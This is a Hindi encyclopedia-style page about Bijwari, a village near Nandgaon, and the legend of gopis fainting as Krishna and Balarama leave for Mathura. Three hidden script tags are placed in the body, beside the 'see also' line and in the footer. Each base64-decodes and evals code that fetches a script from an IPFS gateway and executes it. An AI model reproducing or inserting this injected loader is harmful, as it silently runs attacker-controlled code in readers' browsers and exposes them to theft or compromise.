एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

बिजवारी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

बिजवारी नन्दगाँव से डेढ़ मील दक्षिण-पूर्व तथा खयेरो गाँव से एक मील दक्षिण में स्थित है। इस स्थान का श्रीकृष्ण तथा बलराम से घनिष्ठ सम्बंध है।

प्रसंग

जब अक्रूर जी, बलराम और कृष्ण दोनों भाईयों को मथुरा ले जा रहे थे, तब यहीं पर दोनों भाई रथ पर बैठे थे। उनके विरह में गोपियाँ व्याकुल होकर एक ही साथ "हे प्राणनाथ!" ऐसा कहकर मूर्छित होकर भूतल पर गिर गईं। उस समय सबको ऐसा प्रतीत हुआ, मानो आकाश से विद्युतपुञ्ज गिर रहा हो। विद्युतपुञ्ज का अपभ्रंश शब्द 'बिजवारी' है। अक्रूर जी दोनों भाईयों को लेकर बिजवारी से पिसाई, साहार तथा जैंत आदि गाँवों से होकर अक्रूर घाट पहुँचे और वहाँ स्नान कर मथुरा पहुँचे।

बिजवारी और नन्दगाँव के बीच में अक्रूर स्थान है, जहाँ शिलाखण्ड के ऊपर श्रीकृष्ण के चरण चिह्न हैं।


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें: कोकिलावन, ब्रज एवं कृष्ण<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>